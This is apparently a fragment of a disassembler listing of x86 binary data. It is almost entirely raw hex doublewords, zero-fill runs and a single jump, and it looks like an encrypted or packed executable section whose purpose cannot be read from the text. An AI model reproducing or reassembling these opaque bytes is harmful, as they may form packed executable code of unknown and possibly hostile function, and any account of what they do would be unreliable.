		dd 421h, 2F198589h, 9D8D0AE3h, 0AE5DACDh, 585BD3FFh, 9D8DC08Bh
		dd 0AE31691h, 0C00B038Bh, 7840Fh, 38B0000h, 89045B8Bh
		dd 4B41B818h, 0BE80000h, 31000000h, 33868F63h, 5AE1AB87h
		dd 0F60B736h, 1283h, 0DE900h, 45B20000h, 0B6FC9B06h, 3D0352C0h
		dd 0F78B14Ah, 1389h, 0EE900h, 1C090000h, 11E6A0B6h, 8575461Eh
		dd 0A8383968h, 85B85B61h, 810BA480h, 5AD4C3h, 6800h, 5AF90000h
		dd 759AEF81h, 348B2207h, 81D7B113h, 3C433FF6h, 4870F13h
		dd 66000000h, 8113B5BFh, 8563F5F6h, 5E94Eh, 0F2E40000h
		dd 81B19161h, 887D85EEh, 567AB006h, 0C1AEC781h,	48F7EE2h
		dd 0E1816613h, 83F8B190h, 5E904EAh, 8D000000h, 9B4B14C8h
		dd 0A61CFA81h, 850FFFFFh, 0Fh, 41E9F5h,	0DFE70000h, 5BD3C0BDh
		dd 0E8CD5562h, 0Fh, 4F519E44h, 0CF3A850Fh, 6D21718Ch, 57E24CC3h
		dd 8E8h, 2E32B900h, 5E85FB8Ah, 5F5F5F89h, 0FFFF71E9h, 0F88D40FFh
		dd 1D38B4E9h, 877C5BF5h, 0E8FA2F2Ah, 11h, 0EF3D063Fh, 8EB6121Dh
		dd 0BB4F2E9h, 5C10C412h, 0EA816617h, 665B692Ch,	0C381D38Bh
		dd 0E21Ah, 0C02B4BB6h, 5ACF8166h, 1834FF78h, 0CAABE181h
		dd 605E4CACh, 66C3BF0Fh, 44DAC181h, 0A3C68161h,	605C4A14h
		dd 0C1BF0F56h, 1AC08159h, 610C5979h, 0D597C681h, 0AE81C01h
		dd 0E1000000h, 5652C57Ch, 769AB96Bh, 0F681591Fh, 6D93CB55h
		dd 880Fh, 80560000h, 48F89CEh, 83595303h, 820F04E8h, 5
		dd 0FEC98166h, 7CF88109h, 0FFFFF1Eh, 0FFFF9485h, 0D28166FFh
		dd 3BE9D1ADh, 60000000h, 1F0DBD8Bh, 0EF830AE3h,	8BC93304h
		dd 8320BBC1h, 0C783EDB8h, 8BE04h, 0E8D10000h, 0D323D21Bh
		dd 0F4EC233h, 0FFFFF185h, 78941FFh, 100F981h, 820F0000h
		dd 0FFFFFFD3h, 0C88BC361h, 0FABC0CEBh, 0A2736264h, 2C8D7DEFh
		dd 0A4E9D971h, 0E9000005h, 598h, 0FBAF6813h, 4337F086h
		dd 0CFBB7C0Eh, 4A00F98Ah, 0D4864177h, 0BBD27DBh, 90271AD0h
		dd 19AEE357h, 65176A20h, 8753F0AAh, 0F542ABD4h,	9797823Bh
		dd 62C80349h, 9DBD7A0Fh, 32B662AEh, 0A2EE295Fh,	41C906B7h
		dd 7AE0596Ch, 3DFA83E6h, 15D6E6D3h, 2BEC90F5h, 8736AB2Fh
		dd 1D77C446h, 0CC4E8B3Ch, 0F862A5E9h, 103AF585h, 8AB09652h
		dd 0F60278E1h, 3CDECD3Ch, 48F23559h, 8C3E6315h,	972984Bh
		dd 446DDABh, 2E6ADDD0h,	1453675Ah, 0C7BE538Bh, 13D78A7Ah
		dd 6B1A4D7Eh, 6595FFB2h, 3FC8CE1h, 0A0D73407h, 0A8FA2D67h
		dd 0F6D46733h, 41759559h, 7B20A486h, 0E479F652h, 0B414402Bh
		dd 0EE4CBABEh, 904E48BDh, 0D47625DAh, 5B0FC8F1h, 72985166h
		dd 36F19BFEh, 4D40C9DAh, 57EC6F4Ch, 0E2527B8Bh,	544C90B9h
		dd 0B4B66527h, 544BBEE7h, 31E49727h, 8FEFEB79h,	0F92249F9h
		dd 0CC27544Bh, 0B1B96CDFh, 716AAEEAh, 1E4DE11Dh, 31772EF5h
		dd 317D0F9h, 0F6A5A518h, 31772EC9h, 39582307h, 4397F4AEh
		dd 4C9395CAh, 6D9AB219h, 6048EA23h, 521EE2C7h, 0CCDh
		dd 35A8B900h, 0EF0D4780h, 360h,	8135A8BFh, 9E2F0A46h, 0D2E499A1h
		dd 0C506F515h, 6CDF7BB4h, 11740820h, 861AB6Ch, 24998146h
		dd 0DDB05A97h, 0F2D773ACh, 390208C1h, 6F09D54Ah, 4A5C063Fh
		dd 3316C43Dh, 3DCD4D8Ah, 0BB27D8BDh, 4D73226Bh,	0C8BB808Ah
		dd 0DA8B3F12h, 9A8073ACh, 95559227h, 0C0ECBF0h,	6C25D53Fh
		dd 0D7FB0BD7h, 2B72A10h, 0EC3F8BC5h, 0FB57ABE4h, 3901FA8Ah
		dd 54F63344h, 0DC8F4871h, 0B1D408F0h, 9683CD0Eh, 0E10A51E7h
		dd 0B4F257A9h, 72F614C7h, 0AA84ADFEh, 0B259F257h, 8B4C7366h
		dd 0A29B2A8Fh, 76B1C5B8h, 0FA64DDD4h, 32BC55BEh, 0C5EEBD31h
		dd 48F257A9h, 57A9FA23h, 0D228D3F2h, 0FB8AEF29h, 31453802h
		dd 282E9AF6h, 0C3h, 7223A87Ch, 0F67AA5FBh, 48D215BBh, 3AC410C3h
		dd 6C41C941h, 0D237E35Ch, 0B8E367A0h, 46DEDE8Fh, 8E60C27Bh
		dd 0C338BBFCh, 0A3BFC0EBh, 0B0C73AF0h, 0CAFED377h, 5A9C0911h
		dd 0B05A9527h, 6AF4014Bh, 8DB6E579h, 6046DF16h,	0C3ECBFBBh
		dd 9A46DF15h, 3B2A7F1h,	7B0D60CAh, 95C69A80h, 46DF166Ch
		dd 43E75A41h, 0DF15EF18h, 0FBD5C646h, 42BBCA0Fh, 0DB8004D8h
		dd 46DF15B2h, 8740768Bh, 0EF91F8D4h, 0AE672E2Ch, 1AD3E204h
		dd 0E05B6DA0h, 0FC83E67Ah, 0E02C1F3Bh, 0F56ADF5Ch, 34F79969h
		dd 3D6EE246h, 46DF1614h, 0E3D602E9h, 0AEFD1DDAh, 46DF1682h
		dd 0B9B47FCh, 0DB6B1342h, 0DF166790h, 9A4D3E46h, 492B7327h
		dd 6E43C700h, 9D7AE059h, 2395385Dh, 0DFAB4F78h,	82752646h
		dd 0D333BF56h, 0B9BD6DAAh, 0D1FAA125h, 0A446DFAAh, 0AB7BA4F7h
		dd 0D98246DFh, 46DFAAB0h, 97849685h, 0A78A6ABDh, 0E76A46DFh
		dd 4776D05Dh, 0FFFEF853h, 0A2A643FFh, 85D586A4h, 0E83CFC92h
		dd 0C4542703h, 91A3F998h, 0A306321Eh, 0D902A919h, 0AC3BFC67h
		dd 7FAC8CFFh, 5CB59541h, 0ACDC31E9h, 0E492F773h, 0F0DC2F2Bh
		dd 1506558h, 4DCD807Bh,	0D3FB9E60h, 0A10D3814h,	27563B41h
		dd 24733E6h, 0E9DBD76h,	3BFC9FE2h, 1D3DFA8Ch, 49D116B8h
		dd 7D3BA75Ch, 25C56986h, 5B60DC97h, 20FB49A5h, 3058BD6Dh
		dd 0D99153F7h, 64A0CB6Fh, 3B3218FAh, 4516EA50h,	46DEB81Ch
		dd 7ACE0AF1h, 0D416F0E8h, 0B7E20B50h, 0D0BB46DEh, 0B6277484h
		dd 9F3CF50Fh, 420B6EECh, 0CBF0D585h, 4D9F0C0Eh,	15D466EBh
		dd 2BAFAB64h, 7A2F5780h, 1C7D2EE4h, 4FFD316Eh, 77450234h
		dd 84B98684h, 4186C8DAh, 4FBF72D9h, 0CDFA0CD6h,	900F3863h
		dd 35E6E47Ah, 2B58842h,	5F6C41C9h, 6E9778E2h, 19AEC3C4h
		dd 87D13A20h, 13CBAB54h, 9AA125h, 49CD0000h, 3114C601h
		dd 0BD904A8Dh, 766BCF08h, 0B9828841h, 0E696EB5Fh, 0AAE00952h
		dd 366546DFh, 46DFAB0Dh, 3CEF3BE0h, 8BC9149h, 97261BCFh
		dd 0DC7EBBC0h, 8BCEBC6Fh, 705505C2h, 0E6DB8F48h, 3DFA83D6h
		dd 0DF7B2E1Dh, 4EC28634h, 0DFAAF41Dh, 89A2C946h, 0ECD608E3h
		dd 9DFCD88Bh, 0D912A2EFh, 0F12E5C31h, 71AADD3Eh, 3C159CBEh
		dd 8FDC9EB2h, 46DEC766h, 0F98AEFh, 7327D4D4h, 5E843AD0h
		dd 10000000h, 0AADA04A7h, 0AAAC46DFh, 0AB5C85D6h, 7A0046DFh
		dd 52BE6DBDh, 683C37BBh, 64C60149h, 9BBF7801h, 40E464B0h
		dd 0AB769FCCh, 5C4F46DFh, 0B2751970h, 37F085F8h, 0F88AEF43h
		dd 0E4301B3Fh, 5208C3F5h, 0DC8E497Fh, 0A515D6F9h, 60D9EC81h
		dd 7BB4C534h, 0C53E4A8Fh, 3F315h, 0C8AB0000h, 0C90249E0h
		dd 0E35C6C41h, 0BC750267h, 53943B9Eh, 69A2D2B7h, 3FF88CE1h
		dd 0D415A61Bh, 0E82F5336h, 807F0F62h, 0C068B99Ah, 8900003Fh
		dd 8953240Ch, 4C381E3h,	81000000h, 4EBh, 241C8700h, 2434895Ch
		dd 81E18951h, 4C1h, 4E98100h, 87000000h, 895C240Ch, 9C68241Ch
		dd 89000028h, 5AB9240Ch, 890AEA68h, 826859CEh, 89000079h
		dd 4832424h, 835B0424h,	348904ECh, 242C8124h, 2996140Ah
		dd 8108438Fh, 140A0843h, 1C8B2996h, 0E1895124h,	4C181h
		dd 0C1810000h, 4, 5C240C87h, 5E2434FFh,	4C481h,	0C6E90000h
		dd 0C5FFF911h, 0EA6D64B8h, 8BC5030Ah, 0A08D8DD3h, 660AEA6Eh
		dd 8D89DF8Bh, 0AE31479h, 0DE9h,	1BF9C300h, 0DCBB2A5Bh
		dd 0D6E37482h, 85C71449h, 0AE306C9h, 6A28h, 6985C7h, 0AE3h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 0E003C7C3h, 830F94D5h, 3,	0BF7BF0Fh, 0E31BE1B5h
		dd 45B5FF0Ah, 6A0AE304h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 650DC350h, 41850924h
		dd 310AE305h, 0E31A75BDh, 0B595FF0Ah, 660AE326h, 6AB935BAh
		dd 0D195FF00h, 8B0AE31Ch, 590FEBC0h, 0C224027Ah, 18DDD3h
		dd 27ED122Ah, 8D8DE558h, 0AEA6FA5h, 2CF5BD8Bh, 8D890AE3h
		dd 0AE31479h, 0BE8h, 80B1E200h,	248FD1DCh, 0ADC706F9h
		dd 58DA8B66h, 6C985C7h,	65240AE3h, 9D8B0000h, 0AE32E6Dh
		dd 6985C7h, 0AE3h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 489166C3h, 1D800Fh, 14E80000h
		dd 9B000000h, 0C7FBBCE7h, 2209D788h, 11D220C4h,	0FE7278D2h
		dd 80D0861Ah, 0FF5E6DD6h, 0E31B71B5h, 52006A0Ah, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
		dd 59BC8DBCh, 11E8h, 0EDBF6B00h, 0C3563A32h, 38872AAFh
		dd 0D5926D76h, 89B6D80Eh, 0B595FF5Bh, 6A0AE326h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 0BB63C357h, 0BAD96F7h, 5FFC8A53h, 95FF006Ah,	0AE31CD1h
		dd 58EBC08Bh, 9E657F62h, 4A3F7000h, 0BEE8F3Bh, 0DE35381Ch
		dd 0BBA5CB8Fh, 0B3539721h, 0B201C870h, 9FE5374h, 1414D3ABh
		dd 5D23C6A7h, 15614E17h, 76EDBBA1h, 855B3C88h, 0B9F54BFEh
		dd 1F6C1A3Ch, 0F1080A22h, 6F4817B7h, 219241C1h,	0EC0518C8h
		dd 1AEC7D42h, 0A80F3CBCh, 2D2356DAh, 75FDED55h,	76F67A5Eh
		dd 56E669A4h, 57FD49BCh, 0B5FD2552h, 0AFD257Dh,	68FD256Ah
		dd 5AFD25EEh, 30FD252Bh, 19FD25C9h, 0FEFD25B8h,	0D5FD2500h
		dd 10FD255Ch, 0E9FD257Dh, 42FD256Ah, 0AFFD25E0h, 8CFD252Bh
		dd 69FD25C9h, 15FD25B7h, 79FD250Eh, 9DFD2552h, 95358A25h
		dd 76D6A222h, 5CDE714Ah, 5CF44BBDh, 75FD7A5Ah, 75F57227h
		dd 74FD7997h, 73FD78CBh, 74F57DEDh, 74FC7BF3h, 75FC7B78h
		dd 75FD7ABCh, 76FD7A5Eh, 75A2568Eh, 75A25728h, 75FD7ACBh
		dd 74FC7BE4h, 74FC7BF3h, 75F8B290h, 0F0701ABCh,	7F170E44h
		dd 5ACFFA6h, 0F070707Dh, 7F170EFBh, 5ECFF6Ch, 0F0707018h
		dd 7F170E17h, 5B0FF35h,	0F07070B4h, 7F1709E1h, 5E8FF1Eh
		dd 0F0707021h, 7F170968h, 5E4FF7Bh, 0F0707093h,	7F170897h
		dd 5E0FFD7h, 0F07070C5h, 7F1708AAh, 5DCFF42h, 0F070700Fh
		dd 7F1708A1h, 5D8FFF0h,	0F0707056h, 7F1708F0h, 5CCFFA6h
		dd 0F070707Dh, 7F1708B1h, 5D4FF6Ch, 0F0707018h,	7F1708E0h
		dd 5D0FF35h, 0F07070B4h, 7F170881h, 5CCFF1Eh, 0F0707021h
		dd 7F17080Dh, 5BCFF7Bh,	0F0707093h, 7F1709BBh, 5B8FFD7h
		dd 0F07070C5h, 7F1709BDh, 5B4FF42h, 0F070700Fh,	7F170981h
		dd 5C8FFF0h, 0F0707056h, 7F1709F4h, 5C4FFA6h, 0F070707Dh
		dd 7F170E8Eh, 5C0FF6Ch,	0F0767018h, 7F1E5AD8h, 577FF35h
		dd 0F07670B4h, 7F1E7BFAh
		dd 573FF1Eh, 0B69C7021h, 9D11F1B0h, 75FD7AF2h, 0EB17FB23h
		dd 25F790CDh, 0FDF53FD5h, 9F8DF3ADh, 0B734229Dh, 23AC7ACFh
		dd 20AD29B7h, 75FD7A1Ah, 987C2779h, 7F170B03h, 5EDFFA0h
		dd 0C87D70C5h, 7F170A87h, 0C5B409CFh, 0B54B75E4h, 3589BAF9h
		dd 573EF86h, 0FEBD7056h, 7A452B96h, 8AFD7A2Fh, 9F8DF402h
		dd 6448F7C1h, 0F8F79095h, 9D50FCC6h, 75FD7E4Bh,	76456FCFh
		dd 8AFD7A5Eh, 9F8DF4BAh, 6448F79Dh, 0F8F790BBh,	8A50FCD1h
		dd 0BC1F2322h, 5EDF787h, 2DA07056h, 2CA32005h, 776D92ECh
		dd 0CD4D7A97h, 8A5779C1h, 9F8DF070h, 9D3ED1F8h,	75FD7807h
		dd 0CD9BC2DAh, 0DE9B5954h, 577EFD0h, 0DE9B707Dh, 77959208h
		dd 360B7AE5h, 6E8872F3h, 577EF86h, 0C54D7056h, 8AAD7954h
		dd 9F8DF0BAh, 0F69B209Dh, 7E9B7E2Bh, 0B6561C27h, 75FF6B1Ah
		dd 4E152979h, 2FFD7ABEh, 7B89A065h, 913D59A5h, 0F5DF7094h
		dd 0FE4DBA07h, 9D3ED183h, 75FD7B00h, 77E1922Ah,	4EA77ABCh
		dd 0C5120E84h, 0A916D049h, 75FCA77Fh, 74BE8CCBh, 26D30FEDh
		dd 75FF7B1Ah, 360B2079h, 548872BDh, 6889A065h, 913D59A5h
		dd 0F5DF7094h, 0FF4DBA07h, 0FF6885B5h, 2FF79082h, 51FD5F1Fh
		dd 133F71DAh, 0E94DB9F5h, 74BD9285h, 0F44D7A97h, 74359261h
		dd 2D157AE5h, 0DEFD7AF2h, 75FC5791h, 0DF60CABCh, 0DF61CA9Dh
		dd 75FC5BC7h, 13451C97h, 9D561C4Ah, 75FD7B43h, 75FD4C1Ah
		dd 9D561C79h, 75FD7BB6h, 0B657E7EEh, 9D57E69Fh,	75FD7A69h
		dd 75FCF323h, 74BE8CE5h, 0C5F20FFAh, 6515D0F9h,	0DFFD7ABCh
		dd 7DF99EDEh, 0AA158448h, 0C5FD7A97h, 0CD3ED056h, 75FD7AE2h
		dd 573EF0Dh, 0C0707093h, 7F170AE9h, 7F518A5Dh, 0E002D02Ch
		dd 7F170A1Dh, 74E59208h, 254D7AE5h, 9D5779F8h, 8A02844Bh
		dd 75FC4354h, 7FA5CA5Eh, 0C53ED02Ch, 274DD0C7h,	8BE19261h
		dd 0CD9B851Ah, 0DE9B4BFDh, 8A036B91h, 0DFA7CA43h, 0B65722EEh
		dd 2257929Fh, 750C923Ch, 0FEA77ACBh, 0F63F5122h, 77747E1Ah
		dd 8A008B91h, 75059243h, 2D4D7A5Eh, 0B6577925h,	5FAFF69h
		dd 0C87D7021h, 7F170AE2h, 0F8EC0FF3h, 9F8D03FCh, 61152AB6h
		dd 9DFD7A5Ch, 75FD781Bh, 9D571A27h, 8A028775h, 8A00C30Dh
		dd 0DF9CCA0Dh, 5FAF787h, 0C87D7056h, 7F170A59h,	0F8F10F2Fh
		dd 9F8D0312h, 0DE152AC1h, 0B6FD7AE4h, 75FD7E4Ah, 0FB688579h
		dd 0F8F790CCh, 9F89ACC3h, 6DF9F025h, 9C4DB93Dh,	9D562D61h
		dd 75FD7A8Eh, 5E3AF1A8h, 7115F9BBh, 8A3E7835h, 9F8DF0CBh
		dd 514ACE25h, 0C1FF0E96h, 13F2CA74h, 75C9924Eh,	9DAE7AF2h
		dd 75FD7A27h, 0B5FEF0E6h, 0B5F179BEh, 0B6577825h, 577EF68h
		dd 917D7021h, 0F539FAEAh, 0DE9B7542h, 5A15D12Eh, 2F028541h
		dd 0B7D6BDD5h, 0FCF992ACh, 7345B995h, 8AFD7ACBh, 9F8DF470h
		dd 1860F7F8h, 0F8F79009h, 0CD3E39A0h, 75FD7A4Eh, 573EFD0h
		dd 0B57E707Dh, 8935F1CEh, 577EF1Ah, 97577018h, 0BE15B98Eh
		dd 0FF028543h, 72D97B1Dh, 76778E5Ah, 75FC6C7Fh,	0B61608CBh
		dd 8908831Dh, 0F611F1A7h, 9D9D86BDh, 75FD7ABCh,	9317FB04h
		dd 0FCF7905Bh, 0CF7D86EAh, 7F170A42h, 0EC7975E5h, 0CDFD7AF2h
		dd 75FD7A73h, 573E843h,	0FCBD70B4h, 9F8DE8ADh, 0F835F19Dh
		dd 9F88C079h, 0FF6F85EFh, 0FDF79082h, 801F3C7Fh, 75FD6D04h
		dd 0E77F795Eh, 35F7905Fh, 53E01Ah, 0B67E7021h, 22FEF3E1h
		dd 75FD644Bh, 0E7777979h, 0F8F790CCh, 9F88E6ECh, 2B598925h
		dd 75FD722Fh, 0FB6F85CBh, 0F6F79095h, 85897E0Ah, 72447C71h
		dd 7DFD7ABCh, 0C3F24B5Ah, 761EBBF7h, 75FD742Eh,	44E172CBh
		dd 75FD765Ch, 44F972F2h, 75FD61C0h, 44F972BCh, 75FD66E7h
		dd 44F9722Fh, 8A015B7Fh, 8980F334h, 8980F184h, 9DADB93Bh
		dd 75FD7A7Fh, 1102229Ch, 0FCA58E7Ah, 0E9055E6Bh, 89D93E16h
		dd 67C92CB3h, 0B6AD3A78h, 75FD7AF2h, 75FD7A79h,	0FEA87ABCh
		dd 75151AB2h, 2FFD7A2Fh, 309016h, 0CF707021h, 7F170A73h
		dd 0CCF50F79h, 75FD7A71h, 0BC9CDE4Fh, 26FD7E9Ch, 56BE7A2h
		dd 497D707Dh, 71887BD3h, 771683BEh, 203E82A9h, 9D9D96F2h
		dd 75FD7ABCh, 7317FB04h, 0F8F79059h, 9F8DEC25h,	7D80F1C1h
		dd 75FD725Ch, 145989F2h, 75F9B8B0h, 0E340F7DCh,	46F7902Eh
		dd 75F5C3EFh, 0DF0E7A97h, 0F89DB9AAh, 9F8DEC58h, 74C2FBF8h
		dd 0FC7B78h, 7182FBB0h,	74FC7B5Fh, 9E04795Ah, 0B69C8296h
		dd 0E340F7ABh, 0CDF79095h, 75FD7AF3h, 75FD72C0h, 145789BCh
		dd 0FE3DF19Dh, 0D678F7EFh, 8AF790E7h, 0E9CA8BD0h, 31h
		dd 19114EFh, 0Bh dup(0)
		dd 592E900h, 0D2F90000h, 5E6CA119h, 0A2D429E1h,	2F50B565h
		dd 0ABDD30EAh, 7D6DBA70h, 0C0BA7D03h, 4901FA8Dh, 0D08A4774h
		dd 0A614CFFDh, 557E2DADh, 283BF535h, 3493D4Dh, 0EB8E42C8h
		dd 953861A6h, 6F117854h, 0F19BFEACh, 0BB11436h,	27574AD0h
		dd 0CE0762E8h, 1A186364h, 0BC2317CFh, 3547B29Eh, 0BCCD00FAh
		dd 5B29743h, 0C18A4ECCh, 8B07B4C8h, 8FEA2620h, 0A73B3FF8h
		dd 0DFA1CBF4h, 9FF9A246h, 0B374067Bh, 48813297h, 0E84AC3C2h
		dd 4AE6790h, 0AE1CD5E2h, 2166216Bh, 9B5C6E55h, 0E4598C7Fh
		dd 44BFCDFFh, 598275C6h, 0E457F334h, 56822931h,	6E46DED6h
		dd 23E4A9CCh, 0B6925CE9h, 47760509h, 7903h, 0B2C2A700h
		dd 0A80F1F79h, 3D33D723h, 0DFA2456Eh, 731846h, 236D9920h
		dd 6D3E8236h, 46DF3C44h, 0BBBF7219h, 0D674B5C6h, 9C0F2B65h
		dd 46DF3C6Dh, 3810D20Bh, 4776BF8Fh, 436C3FB3h, 1A46DF30h
		dd 1E52771h, 91000000h,	2B500149h, 2C9F6CEEh, 0E4236B0Eh
		dd 9FBB9566h, 0B7538C3Ah, 0E268A1D2h, 2E44E87h,	0A49F2D74h
		dd 28E255A6h, 0B25C4734h, 5C1B118Fh, 0B8731970h, 749BAC2h
		dd 6EE266C4h, 0DFAB143Dh, 0EF02E946h, 46DFAAC6h, 88A0EC9Fh
		dd 0A0AA6515h, 0D842BDCDh, 0FD80D1E5h, 7A2D1E3Ch, 64CE67D0h
		dd 2EB0AD14h, 0D4F9A8DCh, 5104F713h, 0AC7F4E9h,	75077ACEh
		dd 893D90BAh, 0DA7BCC4Eh, 0D6A73018h, 98AD4776h, 0D000000h
		dd 78E22768h, 0A865B993h, 1FBE8C23h, 0A83DD8F2h, 0FFAC9F3Ah
		dd 7366B2ECh, 0CDA08A4Dh, 62A5E9B8h, 0BAA013F8h, 82470851h
		dd 0BBCFA256h, 0D7FBDE7Ch, 1634F586h, 0F5E87225h, 900208C3h
		dd 2FFF39A5h, 84E36260h, 7996FBAEh, 0EC91F4F5h,	0F0DC2F2Bh
		dd 0E6B4F799h, 0C2F1DB06h, 0E85B9422h, 30DA1DA3h, 6FA218CBh
		dd 197C9E59h, 0A097B374h, 781533BFh, 904776C6h,	36h, 0BF23A8FCh
		dd 9851646Bh, 7C568972h, 0FEDB355Eh, 0A80D0DCEh, 7E2426E3h
		dd 0C58B1BC7h, 49404802h, 5744C601h, 46DFAB2Bh,	72561845h
		dd 4776D0F5h, 1FFh, 549AF00h, 0AABDE6B5h, 0EB9046DFh, 0DBF1238h
		dd 686368D2h, 11D6BBDAh, 269BBF99h, 0DFB25891h,	0FDE872ADh
		dd 0C81E9A44h, 0E710C1D9h, 0A036CDFh, 733446A8h, 0A8836C50h
		dd 2208FB8Eh, 58812AAEh, 2D46DF85h, 85022B7Eh, 47DB46DFh
		dd 0DF84EB14h, 66D9C246h, 0D4945E2Ah, 0E095C872h, 98D305A7h
		dd 7F32467Fh, 0D42470DBh, 518A3D50h, 20602407h,	0FC2F3CFCh
		dd 870548C0h, 0ABE7DA5Fh, 2577C62Ah, 0FED3772Ah, 645911CAh
		dd 2C7F9B54h, 3BFC9BFDh, 17F77BD2h, 0D28F3C65h,	0F9BEE673h
		dd 5DFDB066h, 77935478h, 0AC1ED184h, 62E82369h,	18416AEEh
		dd 3D3BFC5Fh, 0FC5F456Eh, 2773183Bh, 8B311874h,	0D04DCA50h
		dd 13CCFC0Eh, 9C1BA4A7h, 3A114D95h, 7D000001h, 8332A2A6h
		dd 1E7BC04Ah, 0A0ABAF68h, 5E1E4DEDh, 313CFCA8h,	3F6CE04Ah
		dd 3BFCA616h, 1971AADEh, 0A5662972h, 0DEEACF6Bh, 2850B565h
		dd 42766BEFh, 34F39BFEh, 0FCA5B8E1h, 0C582AA3Bh, 0ECAC211Fh
		dd 0D8BAED9Eh, 7A64199Eh, 15E268DBh, 0E49476F8h, 23DC7F2Bh
		dd 294D9588h, 46h, 35A7A655h, 7DCE4C87h, 32FBA08Ah, 4BCFE16Eh
		dd 0C8F1BAA0h, 0B9C6DFABh, 2C23DE80h, 0DB800426h, 0C6DFABB2h
		dd 0A4B4E08Bh, 15305B20h, 3E954BF3h, 0B008D1D2h, 6E9D4FE1h
		dd 88E94680h, 0C6B4676Ah, 9840h, 0A2A65400h, 85D586A4h
		dd 0E83CFC92h, 16A20703h, 60286DDDh, 36F8A3A7h,	6C3BFC93h
		dd 0E478E25Fh, 0FC938EB7h, 57B4673Bh, 2160EA25h, 0D63246E8h
		dd 6913F37Fh, 7276FCAEh, 5ED25694h, 0FC92E40Dh,	86D2B93Bh
		dd 12DD5EA5h, 0DE7C2F32h, 0D416D1FBh, 83CD0EB1h, 7DE15E57h
		dd 0A566294Ch, 517A21A5h, 2446D63Dh, 8E488477h,	63DCEACAh
		dd 3AF382E7h, 85782B10h, 86AFF6A5h, 0ADDE3CECh,	0EEBD25A7h
		dd 3BFC7FC5h, 6280F398h, 0F9DAAFA1h, 0B56382D5h, 38F399C2h
		dd 84762912h, 0A4A2A674h, 0F48ED586h, 5C2F3CF5h, 6E02F98Fh
		dd 0B1E92353h, 7B0D60CAh, 2844D80h, 0CF445C2Bh,	48705585h
		dd 0C84693F8h, 0C3410C79h, 0F53C87B0h, 933B5E3Bh, 7C2EE154h
		dd 3BF485F8h, 17D0F8D1h, 9453A8F3h, 0C203307Ah,	0E0EB6F60h
		dd 0DFFAB7B7h, 567F92C3h, 2F454DFAh, 0E763DCEAh, 606EA114h
		dd 2A0B895Eh, 7D0F6AA6h, 0C7F5C882h, 0E6AB0E0Ch, 43C700B7h
		dd 8C0505F8h, 513A2BB7h, 9DF0DA41h, 0D5C41088h,	5BBE6CA7h
		dd 9C5D6031h, 128F2129h, 1F000000h, 2B5134C8h, 59E16AF0h
		dd 0DFAAE912h, 85CFBC46h, 0C90249A1h, 0E35C6C41h, 0BC750267h
		dd 53943B9Eh, 69A2D2B7h, 3FF88CE1h, 0D415A61Bh,	0E82F5336h
		dd 807F0F62h, 5457B99Ah, 4C7815Fh, 83000000h, 3C8704EFh
		dd 42685C24h, 8900003Dh, 53682434h, 89000010h, 0BA52242Ch
		dd 2D1A17C5h, 0D05EEBBEh, 8BD601DDh, 0C4812414h, 4, 242C8B54h
		dd 4C481h, 0BA520000h, 8, 3289EA01h, 8324148Bh,	2C8B04C4h
		dd 0E2895224h, 4C281h, 0C2810000h, 4, 5C241487h, 5624348Bh
		dd 0C681E689h, 4, 8704C683h, 0E95C2434h, 0FFF9037Dh, 7119BEA8h
		dd 8E8C9684h, 0EA7BBCB8h, 0FFC5030Ah, 0DFACF1E0h, 977F137Fh
		dd 1E8C0Dh, 0A2A8F506h,	0E02CD407h, 521E2B65h, 34F42E33h
		dd 74A2A11Eh, 2E225E5Ah, 41E8D2Eh, 0F4F6365Dh, 83DBC027h
		dd 72ABD23Ah, 1E9EF104h, 0AB15795Fh, 19D8D3Ch, 0B80AE315h
		dd 2490h, 1F418589h, 0E80AE3h, 58000000h, 0D05h, 0E9038900h
		dd 2490h, 924h dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5FF67E
; ---------------------------------------------------------------------------
		db 76h,	43h, 8Ah
		dd 12CDFDD0h, 96516558h, 1BDCE124h, 0E15A6AAFh,	900CFE29h
		dd 1A7F2BECh, 85F8B26Bh, 0A4F3BF4h, 3ED5857Eh, 9C6EFBCh
		dd 0E29F3BF5h, 496444A4h, 0E63C700h, 5155BF78h,	7492088h
		dd 0D4A8B2C4h, 0DFAB5E87h, 8443746h, 119C7AA2h,	892853D7h
		dd 43EB645Eh, 2A426BBEh, 701B46DFh, 7490024h, 0DF7546C4h
		dd 0A63012F1h, 0B4751841h, 0BC261F96h, 3E5387FCh, 790F4C8Dh
		dd 65AF9CBEh, 50D4A841h, 0DFAAE20Bh, 0BDD0BB46h, 46DFAB94h
		dd 0BF568269h, 2E5F3233h, 0B6E269F1h, 67004976h, 46DFAB3Bh
		dd 0CA156912h, 650649E2h, 46DFAB39h, 201BA1C4h,	0B7C7B4F4h
		dd 4B8435A8h, 4D83AB01h, 0D8C9955Dh, 31D912A5h,	499E8ECAh
		dd 67CBB000h, 0F4D48A7Eh, 3460438Dh, 0B46DEE1h,	689F25E0h
		dd 0A30F17Dh, 0DED93861h, 0AB1E0D46h, 49FEAE5Bh, 88B0C601h
		dd 22B70F4h, 0DB46DFABh, 49C0E430h, 0EF63C700h,	0DFAB93BCh
		dd 0F6315B46h, 0E893E754h, 23A878ACh, 9A4C5859h, 97054FACh
		dd 0B3074987h, 18FEC5C8h, 0F179B6C4h, 0DF9F81AAh, 6DA75446h
		dd 0DF9F0E3Ah, 18ACE146h, 0ABCE6CDFh, 0D62525E2h, 0E2CAAAFAh
		dd 0C9955D4Dh, 8535A80Ch, 117BC04Ah, 0F1D69338h, 0C4F62870h
		dd 0AEA6F8ABh, 0C70049FEh, 49D0D8B7h, 0CAB7C700h, 0B7714536h
		dd 785425A8h, 1A9C081Ch, 952D7D08h, 23A80CC9h, 3A61F203h
		dd 46DEE311h, 71C437E4h, 55062466h, 46DF5F2Ch, 0DB3E1A01h
		dd 0AE2175B2h, 0C70049FEh, 49D0D8B7h, 0E165C506h, 0DFAB91BAh
		dd 5DB76446h, 8135A849h, 6AEE0A46h, 6D134277h, 0E85BA0AAh
		dd 0E17F78ACh, 0BC46DFE0h, 0AFE323A8h, 0A894F136h, 7D9D5A63h
		dd 2057428Eh, 0D4A897E7h, 0DFAB5E87h, 8BB4E746h, 6246DFABh
